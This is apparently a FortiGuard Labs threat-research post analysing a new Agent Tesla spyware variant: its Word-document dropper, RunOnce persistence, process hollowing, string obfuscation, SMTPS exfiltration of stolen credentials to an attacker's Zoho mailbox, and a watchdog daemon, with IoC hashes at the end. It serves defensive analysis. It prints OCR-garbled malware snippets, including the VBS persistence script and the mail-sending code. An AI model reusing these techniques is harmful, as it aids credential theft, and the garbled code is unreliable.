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Analysis of New Agent Tesla Spyware Variant

Recently, FortiGuard Labs captured a new malware sample that was spread via Microsoft Word documents. After
some quick research, I discovered that this was a new variant of the Agent Tesla spyware. I analyzed another
sample of this spyware last June and published a blog about it. In this blog, I want to share what’s new in this new

variant.

This malware was spread via a Microsoft Word document that contained an embedded exe file. Figure 1 below

shows what it looks like when you open the Word document.
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Figure 1. Opening the malicious Word document

As you can see, it asks the victim to double click the blue icon to enable a “clear view.” Once clicked, it extracts
an exe file from the embedded object into the system’s temporary folder and runs it. In this case, the exe file is
called “POM.exe”.
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Figure 2. POM.exe is created in a temporary folder
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Figure 3. Looking at POM.exe in an analysis tool

In figure 3 we can see that the malware is written in the MS Visual Basic language. Based on my analysis, it’s a

kind of installer program. When it runs, it drops two files: “filename.exe” and “filename.vbs” into the

“%temp%\subfolder”. It then exits the process after executing the file “filename.vbs”. Below, in figure 4, is the

content of “filename.vbs”.
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On Error Resume Next

Set WshShell = CreateCbject ("WScript.Shell™)

myKey = "HECIH Software' Microsoft) Windows) CurrentVersion\ RunOnceY Registry Key Neme'
WahShell.Regliirite myKey, "C:\ Use Y P Datat Locall Temph subfolder £1lename , vioa", "REG 527
WahShell.Fun "C:'UscEil.rpData’ Localh Temph subfolderh £filename . exe’

Figure 4. The content of filename.vbs

To make it run automatically when the system starts, it adds itself (runs filename.vbs) to the system registry as a

startup program. It then runs “%temp%\filename.exe”.
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Figure 5. The malware adds itself into the system registry as “RunOnce” item

Analysis of filename.exe

When “filename.exe” starts, like most other malware it creates a suspended child process with the same name to
protect itself. It then extracts a new PE file from its resource to overwrite the child process memory. Afterwards, it
resumes the execution of the child process. This is when it executes the code of that new PE file, which is the

main part of this malware.
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text:Be481721 push eax ; h3napshot
-text:-oO401722 call Hodule32First
text:oeud172vy test eax, eax
-text:oe4e1729 jz loc_4B1A31
text:oeu@172F lea ecx, [ebp+var_h434]
text:-aoue1735 push ecx ; uoid =
text:0O4A1736 lea edz, [ebp+var_3CC]
text:8848173C push edx ; int
-text:oea@173D call decrypt_string ; get "mscorjit.dll™
text:oeugi7u2 add esp, 8
-text:oeae174s mou [ebp+var_C18], eax ; string “mscorjit.dll”™
.text:pOuA174B lea eax, [ebp+me.szHodule]
text: 00481751 mou [ebp+var_C14], eax : module name
-text:oaLa17s7
text:00481757 loc_4@1757: ; CODE XREF: _main+337]j
===° | _text:08481757 mou ecx, [ebp+var_C14] ; module name
text:pe48175D mov dl, [ecx]
.text:0048175F mou [ebp+var_C15], dl
-text:a8481765 mov eax, [ebp+var C18] ; string "mscorjit.dll™
.text:0040176B cnp dl, [eax]
text:peuA176D jnz short loc_ 4817BS
-text:0048176F cmp [ebptvar_C15], @
text:pO4A1776 jz short loc_4817A9
.text:QO481778 mov ecx, [ebp+var C14] ; module name
text: Q04017 7E mou dl, [ecx+1]
text:pa401781 mov [ebp+current letter], dl
-text:oeue1787 mou eax, [ebp+var_C18] ; string “mscorjit.dll”
.text:0a4A178D cmp dl, [eax+1]
text:00481798 jnz short loc_4817B5
.text:pauA1792 add [ebp+var_C14], 2 ; module name
-text:oe4a1799 add [ebp+var C18], 2 ; string "mscorjit.dll™
text:Q0481708 cmp [ebp+current_letter], 8
=== tExt:084817A7 jnz short loc Ye1757
-text:oe4e17n9
-text:aa4a17A9 loc_4B17A9: ; CODE XREF: main+3867]
.text:pO481709 mou [ebp+var_C1C], @
.text:pO4A17B3 jmp short loc_4817CA

Figure 6. Checking to see if the module mscorjit.dll is loaded

Let’s go on to the analysis of the child process. It first checks to see if the environment value of
"Cor_Enable_Profiling" is set to 1, and if the modules "mscorjit.dll" and "clrjit.dll" have been loaded (see figure
6). If one of these checks is true, it exits the process without doing anything. So far, I have no idea what the

purpose of doing that is, but it is likely anti-something.

If the process doesn’t exit, it loads a named resource. The resource name is "__", which is a string decrypted from
a local variable. Afterwards, by calling the API functions “FindResource” and “LoadResource”, it can read the
resource data to the process memory. Figure 7 shows the “__” resource in CFF Explorer. For sure, the data is

encrypted.
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Figure 7. Encrypted “__” resource

By decrypting the “__” data, we obtain another PE file, which is a .Net framework program. This is to be loaded
into the child process memory. It reads sections of the .Net program into memory according to the PE file headers,
imports APIs defined in the import table for .Net programs, relocates offset of the function “_CorExeMain”, as
well as builds the .Net framework running environment by calling several APIs. Finally, it jumps to the entry point
of the .Net program where it later jumps to “_CorExeMain” — which is the entry point of all .Net programs — to

execute this .Net program. You can see in figure 8 how it jumps to the “_CorExeMain” function.

3% QIIYICE - - [*C.P.U" - main thread) o= =]
@ File View Debug Plugins Options Window Help = (& =
Paused | (O[] 0] mafea] B0z ] » =P
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00402490 BDED SRFCPYFE |lea ecx, dword ptr [ebp—348]
004024431 E8 CEOBOEUO call 00402070

EEP O01ZFF40
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EDI 001ZF6F6&

EIP 00402497
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Figure 8. Jumping to the entry point of the .Net program

In order to further analyze the .Net program, I dumped it from the child process memory into a local file. This
allowed me to launch it independently rather than running it within the child process. This also allowed me to load

it into the .Net program analysis tools to analyze it.

Deep analysis of the .Net program

The dumped file has an incorrect PE header. I manually repaired it so that it can be executed, debugged, and

parsed by .Net program analysis tools. Figure 8 shows the main function of the .Net program in an analysis tool.

& NET Reflector 8.4.0.39 - O X
File Edit View Tools Help
QO|FHRE E® || v||NET4S || 4 | &5
[Search Object Browser (Ctrl-F) | @
29 3WVBOTKFIUQ : Ti55ch A

% aWYARUIPE(String, Stri Met.hudlrrj IMethudIm |0ptions,Molnlining], 5TAThread] s
% aY7hhPhgf() : Void public static void DhvOtcdbX()

, i
4% BATbZg10ng(UInt32, L if (EoaBusofs(15, 1))
% BuebSEMPWL() : Void { The main funciton]
&% COibjvgnpn() : JOKAXT: Application.Exit():

%% CwabUaekfr(Object, E
2% dFOSafxUd(String) : Bo

L Dhvotedbi() : Void

4l
X

% EOv4IBEcjjMOlaviHC.DhvdtcdbX() : Void

t
EtBOMSIX]);
if (F2CmmgPJld)

-:,b DQSJGBhhL(Object, Ela string oSFullName = WIUOZ60363HWitcO4d.aDkm7DPBO().Info.05FullName;

%y ekjgkSxC8(String, Int32 if ({(oSFullName,Contains(XtLErF5GoidQVid Cxi RBybT3421(PlkkyOnoglfauhkKMN1Fjq.Y3LpEpConY(0x604
é,w ElgwaUzExl::l : Strlng '[ '

% EoaBvsofs(Int32, Int32) {"*‘

%@ EtBONSIXQ : Void WIU0ZE0363HWiteO4d.aDkm7DPBO(). Registry.SetValue(XtL6rF5Goid QVxdCxi.REybT3421(Pkkydn:
49 EyThtZ4AXm(TxS5cNh’ 1

%% faolEDIrC() : Void catch (Exception exception1)

2 fKEbMFrrL5{IntPte) ¢ Ir {

ProjectData,SetProjectError(exception1);
sKJOr04SM{Assembly, GetExecutingAssembly().Location);
ProjectData,ClearProjectError();

% fZXdbjlg)(String) : Void
29 GlabsdLVkO(Keys) : Voi

%% G2XbVAZIRD(Int32) 1 Ini !
%% hORQpIShE(String) : X }
% H5JblaNybs(IntPtr, Int3 } _ _
% Ha7z/4U2k() : Void “ J;f (rOXbBIGBIS == Pkky9InoglfauhKN1Fjq.Y3LpEpConY((x928))
4 2 ytNnZoM5S();
3 3 3 j1300H4i00;
public static void Dhv9tedbX(); !
Declaring Type: OES8UkHXwFEUVpRLI3.ED: sPFmb7hOpp = Assembly.GetExecutingAssembly().Location;
Assembly: . —— f (oW TmP1UYw B8 (sPFmb7hOpp = gdib1iUgEr) 88 rSobFivLTA)

Version=0.0.00 if (IDirectory.Exists(Environment.GetEnvironmentVariable(XtL6rF5Goid QVxd Cxi,R6ybT342] (PkioyOnog

v
Directory.CreateDirectory(Environment.GetEnvironmentVariable(XtLErF5Goid QVid Ca. Reyb T3421 (Pl
< > £ >

Figure 9. The main function of the .Net program

As you may have already noticed, it uses some kind of code obfuscation technique to increase the difficulty of
code analysis. In the following parts, you may see that some of the names of method, class, variable, etc. have

been modified to make them understandable.

All the constant strings in the .Net program are encoded and saved within a large buffer, and every string is

assigned an index. Whenever it needs to use the string, it calls a function with its string index to get the string. If
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the string is encoded, it throws the encoded string into another function to get it decoded. In figure 10 we can see
that it reads the huge string into the big buffer—“Pkky9noglfauhKN1Fjq.QOZ4uWBaWw”.

Here is an example: “XtL6rF5GoidQVxdCxi.R6ybT342I(Pkky9noglfauhKN1Fjq.Y3LpEpC6nY(3172));”
“3172” is the string index.

The “Pkky9noglfauhKN1Fjq.Y3LpEpC6nY” function picks up the string of index 3172 from that large buffer. In
this case, it’s "hyNN5z+7qAsS695IDXLuHg==".

“XtL6rF5GoidQVxdCxi.R6ybT3421” is the decoding function. After decoding, we get the string
“True\x00\x00\x00\x00\x00\x00\x00\x00”. i.e. “True”.

PllyOnoglfauhKM1Fjq X

837 ' : array[27] = (byte)num3; a
838 1 H numd = 272;
839 goto IL 74E;
840 ¢t case 179:
841 Lo |Read strings intoa large bufferl
842 : : MemoryStream memoryStream;
® 543 1 H Pkky9noglfauhKN1Fjq.Q0Z4uWBakw = Pkky9noglfauhKN1Fjq.BR3rkPkhkSHRIXktAp (memoryStream);
D 844 b num4 = 194;
845 goto IL_74B;
846 ! ' *
847 . H case 13@:
348 : : array[17] = (byte)num3;
849 num2 = 386; v
100% -
Mame Value Type —
4 @_ PllyInoglfauhkh1Fq.Q0Z4uWBaWw|| [byte[0x0001213E]} | bytel]
@ [0] 068 byte

byte

The large buffer

[10]

=

v

@ [11] byte

@ [12] %54 byte

@ [13] 000 byte

@ [14] 030 byte

@ [13] 000 byte

@ [16] 77 hute M

Locals Autos Call Stack Memory2 Search Analyzer Memory 3 Breakpoints Watch 1

Figure 10. Reading strings in the large buffer

When the main function is called, it first pauses 15 seconds by calling “Thread::Sleep()” function. This allows it to

potentially bypass sandbox detection.

As my analysis in the previous blog showed, Agent Tesla is a spyware. It monitors and collects the victim’s
keyboard inputs, system clipboard, screen shots of the victim’s screen, as well as collects credentials of a variety
of installed software. To do that it creates many different threads and timer functions in the main function. So far,
through my quick analysis, this version is similar to the older one. As I did not find much change, I won’t talk

about it more here but simply refer you to the previous blog analysis.
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However, the way of submitting data to the C&C server has changed. It used to use HTTP POST to send the

collected data. In this variant, it uses SMTPS to send the collected data to the attacker’s email box.

Based on my analysis, the commands used in the SMTP method include “Passwords Recovered”, “Screen

Capture”, and “Keystrokes”, etc. The commands are identified within the email’s “Subject” field. For example:

“System user name/computer name Screen Capture From: victim’s IP”

Here’s an example to show you how it sends the collected credential data to the attacker’s email address. Figure

10 shows the email content that will be sent out with my PC information along with the collected credentials. It
enables an SSL function and uses TCP port 587. The “Body” field is the collected data in HTML format. The

“Subject” field contains the command “Passwords Recovered" which tells the recipient that this email contains

credentials.
main_ X
b (PkkyanoglfauhKN1Fjq.Y3LpEpCEnY (47848))); -
3319 | H smtpClient.Host = XtL6rFSGoidQWxdCxi.REybT342I(PkkyonoglfauhKNLFjg.Y3LpEpCanY
oo (47892));
3320 E : smtpClient.UseDefaultCredentials = false;
3321 : . smtpClient.Credentials = credentials;
3322 : : smtpClient.EnableSsl = true;
3323 ; ¢ |smtpClient.Port = 587;
@ 3324 | . smtpClient.Send(mailMessage);
3325 ' : mailMessage.Attac ts.Dispose();
@ 3326 b
3327 ! ¥ >
100 % -~

Mame

4 @ mailMessage

|

A

b S AlternateView:
b S Attachments

Value -
{System.Met.Mail. MaillMessage/*0x0200069E*}

Count = 0x00000000

Count = 0x00000000

b S Bce Count = 000000000
A Body "<span style=font-family:Courier NEW;fDnt-size:14px;f0nt-st_yle:n0rmal;font-weight:bold;tact-decoration:ror
b A BodyEncoding {oystem. Text. ASCIIEncoding/ (020003087}
b M CC Count = 0x00000000
A DeliveryNotificationOptions  None
b A& From {martynslogs@zoho.com}
b S Headers {System.MNet.Mime.HeaderCollection/"0x02000688%/}
A 1sBodyHtml true
A Priority MNormal
A ReplyTo null
A Sender null
A Subject "Administrator Passwords Recovered From: ¢ i I
b M SubjectEncoding null
b A To Count = Ox00000001
b @ attachrnents Count = (x000000DD
@ body "<span style=font-family:Courier New;font-size: 14px;font-stylenormal font-weight:bold;text-decoration:nor
P @ bodyEncoding {System. Text.ASCIIEncoding/*0x020003D8%/}
@ bodyView null

@ deliveryStatushlotification

MNone -

Locals  Autos Call Stack Memory 2 Search Analyzer Memory 3 Breakpoints Watch 1 Memory 1

Figure 11. Email content with collected data

The attacker registered a free zoho email account for this campaign to receive victims’ credentials. Figure 11,

below, shows the SMTP server and its login information. You can see the attacker’s SMTP credential “UserName”

and “Password” as well as the SMTP server.
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Locals

MName

4 @ smtpClient
I+ M ClientCertificates
4 J Credentials

Walue

{Systemn.Met.Mail.SmipClient,/*0x020006B9*/}

{Systern.Security. Cryptography X509 Certificates. X5309CertificateCollection/0x02001
{5ystemn.Met.NetworkCredential (02000398}

A Domain "
A Password “office "~ "
& UserName “rmart_ _ Bzoho.com"
— @ m_domain null
ﬂa m_encrypt true
et 3
b @ m_encryptionlV { byte[ (00000010}
P ﬂa m_password {byte[Cx00000010]}
b & m_userMame { byte[ Cx00000020]}
b #z Static members
M DeliveryMethod Metwork
A Enabless| true
I M Host "smtp.zoho.com" I
& InCall false
b @ onSendCompletedDelegate  {System.Threading.SendOrPostCallback/*0x02000120%/} -
4 3
Figure 12. Attacker’s SMTP credential
When the email is sent out through the Wireshark tool, we were able to capture the packets shown in figure 12,
below.
M *Intel(R) 82579LM Gigabit Network Connection: MyLocal (port 587) - O X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Am 20 [IBRB e>=T85Eaaan
[i |hq:.|en>10 [X] '] Expression... +
MNo. Time Source Destination Protocol Length Info ~
4 8.144517 284.141.32.118 172.30.144.181 SMTP 124 S: 228 mx.zchomail.com SMTP Server ready March 3@, 2818 18:87:57 AM..
5 ©.149667 172.30.144.181  204.141.32.118 SMTP 73 C: EHLO | . .
7 9.308809 204.141.32.118  172.30.144.181 SMTP 120 S: 250 mx.zohomail.com Hello ~~— N (e )
8 0.308001 204.141.32.118  172.38.144.181 SMTP 68 S: 258 STARTTLS
10 @.309009 204.141.32.118  172.39.144.181 SMTP 73 S: 250 SIZE 53477376
13 @.381989 284.141.32.118  172.39.144.181 SMTP 79 S: 228 Ready to start TLS.
15 @.449142 172.39.144.181  204.141.32.118 TLSvl 183 Client Hello
16 @.520986 204.141.32.118  172.39.144.181 TLSvl 1498 Server Hello
17 ©.521891 204.141.32.118 172.30.144.181 TLSvl 1490 Certificate [TCP segment of a reassembled PDU]
19 ©.521186 2084.141.32.118 172.38.144.181 TLSvl 219 Server Key Exchange, Server Hello Done |
208 @.529743  172.38.144.181 204.141.32.118 TLSvl 188 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
21 9.600497 204.141.32.118 172.30.144.181 TLSvl 384 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
22 @.629557 172.30.144.181 AT e L Application Data, Application Data
23 @.699736 204, 172.30.144.181 TLSvl 155 Applitweigq Data
24 @.699819 .141.32.118  172.39.144.181 TLSvl 187 Application D
26 @.7 204.141.32.118  172.30.144.181 TLSvl 187 Application Data
27 @.7q98741 172.38.144.181 204.141.32.118 TLSvl 16@ Application Data, AppXication Data
28 @.748962 204.141.32.118  172.39.144.181 TLSvl 187 Application Data
29 @.78W48 172.39.144.181  204.141.32.118 TLSvl 144 Application Data, Apdlication Data
31 @.99459, 204.141.32.118  172.39.144.181 TLSvl 123 Applis
32 9.907632 144.181  204.141.32.118 Tisvi  1ee Appli |SSL encrypted data
34 @.977926 204.141.32" .144.181 T
35 ©.979196 172.39.144.181  204.141.32.118 TLSvl 160 Application Data, Application Data
36 1.049421 294.141.32.118  172.39.144.181 TLSvl 123 Application Data

> Frame 23: 155 bytes on wire (1248 bits), 155 bytes captured (1248 bits) on interface @

> Ethernet II, Src: Fortinet_@9:5a3:22 (@0:09:87:09:5a:22), Dst: Dell 96:c9:1f (b8:ca:3a:96:c9:1F)
> Internet Protocol Version 4, Src: 2084.141.32.118, Dst: 172.30.144.181

> Transmission Control Protocol, Src Port: 587, Dst Port: 15458, Seq: 3482, Ack: 383, Len: 1@l
> _Secure Sockets Laver

0000 b8 ca 3a 96 c9 1f @@ @9 ef @9 Sa 22 @3 @9 45 @0 et e I"..E.

G0lc @@ 3d ae B3 48 @@ 38 @6 6a 1@ cc 3d 28 76 ac le weaafiaB. Fouo. va.

0020 98 b5 @2 4b 3c 62 3 B8F 43 39 32 @c e6 15 58 18 vo.Kebo, C92...P.

2032 @8 f5 3 26 60 88 17 83 61 68 68 87 le 49 2c Je LBl L S

0040 88 13 42 b7 47 a@ 82 7b ba 97 b2 be 6b 18 T2 43 - TR N S

0050 d9 1c e9 1e 3b 43 98 e5 Sh 4b Jc cl ff 55 @9 1c weea3Cou [K|.LUL.

0 i wireshark_ASSFDO07-EE2A-4252-B30A-A50950625539_20180330100404_a22452

|| Packets: 46 - Displayed: 31 (57.4%) - Dropped: 0 (0.0%) || Profile: Default
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Figure 13. Collected data submission using SMTPS in wireshark

As I explained above, the collected data in the mail body is in html format. I copied the html content into a local
html file and was able to open it in the IE brower to see what the malware had harvested from my test enviroment.

In figure 13, you can see the screenshot of my PC information along with the related credentials in an IE browser.

E

& oo . -

I -

L (=] x
Y s
. X | | .

Ble Efit Yeew Fpooites Jook Help
& -
Local Time : 032772018 22:27:01

UserName T ., .
B Mame : ——— My PC information

03 Full Wame : Microszoft Windows 10 Pro

05 Platform i Wind2NT

0% Version : Microsoft Windows NT €.2.9200.0

CFU : Intel(R) Core(TM) i5-3470 CPU @ 3.20GH=z
FAM i BL7E.45 MB

VideocardName : AMD Radecon HD 7000 series
VideocardMem :© 1024 MB
IF Address A

URL: rrpi S oy
Username: pme— 07
Password: [N
Applicaton: Outlook

&weﬂed crede ntia_la
URL: nittg v R 0o 22 2 06 2/
Uisernams:
Fassward: R ———
Appilcation: Chaome

URL: hittos: /I o oo - ocain. gy
Username: I —

Passwont: ima——

Applcation: Chiome

Figure 14 Harvested Credentials

Daemon program

It also drops a daemon program from the .Net program’s resource named “Player” into the “%temp%” folder and

run it up to protect “filename.exe” from being killed.
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try
t
. RescurceManager resourceManager = new ResourceManager(ClsDecryptStr.decodeStr(cls_str_int_memory.getStrByIdx
(3336)), Assembly.GetExecutingAssembly());
E byte[] bytes = (byte[])resourceManager.GetObject(ClsDecryptStr.decodestr(cls str_int memory.getStrByIldx
! (3388))); i
E cls _main.daemon_file = Conversicns.ToStringglperators.ConcatenateObject(Operators.ConcatenateObject
. (Envircnment.GetEnvironmentVariable (ClsQfcryptStr.decodeStr(cls str int memory.getStrByIdx(344@8))) +
. ClsDecryptStr.decodeStr(cls_str_int_mepbry.getStrByIdx(3492)),| cls_main.genRandomstr (3,
ClsDecryptStr.decodeStr(cls_str_int_mfmory.getStrByIdx(35443)));
. File.WriteAllBytes(cls_main.daemon_fiJe, bytes); \
' Thread thread2 = new Thread(new Threfdstartfcls main.Thread fun daemon), 1);
. thread2.start(); [random file name]
¥
catch (Excepticn EK?) Read daemon program
i
b from resourse "Player”
It will run daemon program

Figure 15. Dropping the daemon program and running it

The daemon program’s name is made up of three random letters, as you can see in figure 15. It’s also a .Net
program and its main purpose is very clear and simple. Figure 16 shows the daemon program’s entire code in an

analysis tool.

You can see that the main function receives a command line argument (for this sample, it’s the full path to
“filename.exe”.) and saves it to a string variable called “filePath”. It creates a thread, and in the thread function it
checks to see if the file “filename.exe” is running in each 900 millisecond. It runs it again whenever the

“filename.exe” is killed.

B dnSpy v4.5.3 (x86) - 0 x
File Edit View Debug Window  Help [] 2 - 2 B Stat 2
Assembly Explorer o - X int_1035: int
@, (ONULMGLO ~ 7 =
> B Microsoft.Script (8.0.0.0) g ?amespace ConsoleAppl
“ ﬁ‘_c_m“”'f""pp‘ (Lma 18 // Token: @xezepeess RID: 8
4 & Consolehppl.exe 11 [StandardModule]
b= PE 12 internal sealed class Modulel
P =B References 13 {
b Resources 14 // Token: @x@e@@@@ll RID: 17 RVA: @x@BRB21ES File Offset: Bx0EEOB3ES
b{} - 15 [STAThread]
4 {} ConsoleAppl 1? Ipublic static void Main(string[] args) I
PR T
-; Mog:lsz].r?::(:?_loc 18 Modulel.filePath = args[@];
Derived Trpes 19 : Thread thread = new Threadfnew ThreadStart(Modulel.runner)p;
@ . yp_ 20 . thread.Start();
' -cctor() : void 21 i Applicatien.Run(); /
@ Main(string[]) 22 1
& runner() : voic 23
@ filePath : strin 24 // Token: @x@6@@8@12 RID: 18 RVA..#%00002220 File Offsct: Bx0e@00420
b {} ConsoleAppl.My 25 public static veid runner() /
b {} ConsoleAppl My.Res 28 t L . ) ‘ ) i i
. 27 | string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(Modulel.filePath);
P B Microsoft.Vsa (3.0.0.0) o3 L for (13)
P @ System.Configuration.Install 29 | o
b e Systern.Web.RegularExpressi 38 : Process[] processesByName = Process.GetProcessesByName(Path.GetFileNameWithoutExtension
b A System.ServiceProcess (2.0.0 | : (fileNamewithoutExtension));
4 [ System.Design (2.0.0.0) 31 i bocl flag = processesByName.length == @;
b B System.Design.dll 32 © 0 if (flag)
P B System.Drawing.Design (2.0, 33 ; : { .
b Bl Syster.EnterpriseServices (2 g-; i Process.Start(Modulel.filePath);
4 & MicrosoftVisuaiC (20.0.) i P ih'ead.sleep(gaa);
b Microsoft.Visual C.dll 37 | 1
P B System.DirectorySenvices (24 38 ¥
bg Systemn.DirectoryServices.Pre 39
b System.Web Services (2.0.0.0 49 /I To.kan: 9*94988?99 RJI'.D: 9 .
b System.Data (2.0.0.0) ié ; public static string filePath = "";
b O System.Data.OracleClient (2. 43 3 =
b System.Transactions (2.0.0.0] 100 % a 4'
b @0 System.Configuration (4.0.0. =
T | | B - X
1 » Autos | Call Stack Memory 2 Search Analyzer Memory 3 Breakpoints
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Figure 16. Daemon program code

Solution

The file “PPSATV.doc” has been detected as “W32/VBKrypt. DWSS!tr”, and “POM.exe” has been detected as
“W32/VBKrypt.DWSS!tr” by FortiGuard AntiVirus service.

We have informed Zoho of the email account which is being used in this AgentTesla campaign.

IoC:

Sample SHA256:

PPSATV.doc
13E9CDE3F15E642E754AAE63259BB79ED08D1ACDA93A3244862399C44703C007
POM.exe
A859765D990F1216F65A8319DBFE52DBA7F24731FBD2672D8D7200CC236863D7
filename.exe

B4F81D9D74E010714CD227D3106B5E70928D495E3F D54F535B665F25EB581D3A
Random name daemon program

C2CAE82E01DS954E3AS50FEAEBCD3F75DE7416A851EA855D6F0ESAAAC84A507CA3
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Check out our latest Quarterly Threat Landscape report for Q4 of 2017 for more details about recent threats.

Sign up for our weekly FortiGuard intel briefs or to be a part of our gpen beta of Fortinet’s FortiGuard Threat

Intelligence Service.

Source: https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
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